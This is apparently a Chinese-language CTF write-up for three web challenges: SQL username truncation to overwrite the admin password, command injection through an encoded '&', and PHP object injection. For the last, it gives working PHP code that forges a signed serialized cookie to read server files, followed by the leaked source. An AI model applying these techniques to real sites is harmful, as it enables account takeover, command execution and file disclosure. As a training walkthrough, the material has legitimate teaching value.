WEB
Login
打开是一个注册与登陆界面,随便注册一个账号然后抓包,发现必须是admin账号才会给flag
这样利用长度截取
用空格空出,超出注册用户名长度,然后后面跟一个1
避免被函数消掉,这样我们就成功强行修改admin的密码为自己的密码
登陆即得flag
Get Flag
首先按照他所说的输入,会出现图片,并且格式是base64
然后随便输入
解密后发现执行的是cat
命令
这样只要构造命令,先查看目录,然后cat
就行
发现&
是可以绕过,直接%26
编码然后一直执行ls
命令查找
发现目标
9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
cat即可
Text wall
首先查找备份文件找到源码
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
........
?>
通过抓包,将cookie解码一下,根据长度可知发现前面是sha1加密,后面是反序列化
这是属于PHP Object Injection
范围,利用反序列化得到并伪造cookie,构造相同的类型
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist();
$a->source = 'index.php';
$b= new filelist();
$b->source=$a;
$d=serialize($b);
$e=sha1($d).$d;
echo urlencode($e)."<br>";
?>
也可以用下面这种写法
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = [];
$b= new filelist();
$b->source = 'index.php';
$a[]=$b;
$d=serialize($a);
$e=sha1($d).$d;
echo urlencode($e)."<br>";
?>
得到index.php
的内容
233333333333333333333333333333333333333333333333333333333333333333 <?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
if(isset($_COOKIE['lists'])){
$cookie = $_COOKIE['lists'];
$hash = substr($cookie, 0, 40);
$sha1 = substr($cookie, 40);
if(sha1($sha1) === $hash){
$lists = unserialize($sha1);
}
}
if(isset($_POST['hiehiehie'])){
$info = $_POST['hiehiehie'];
$lists[] = $info;
$sha1 = serialize($lists);
$hash = sha1($sha1);
setcookie('lists', $hash.$sha1);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Please Get Flag!!</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<h1>Please Get Flag!!</h1>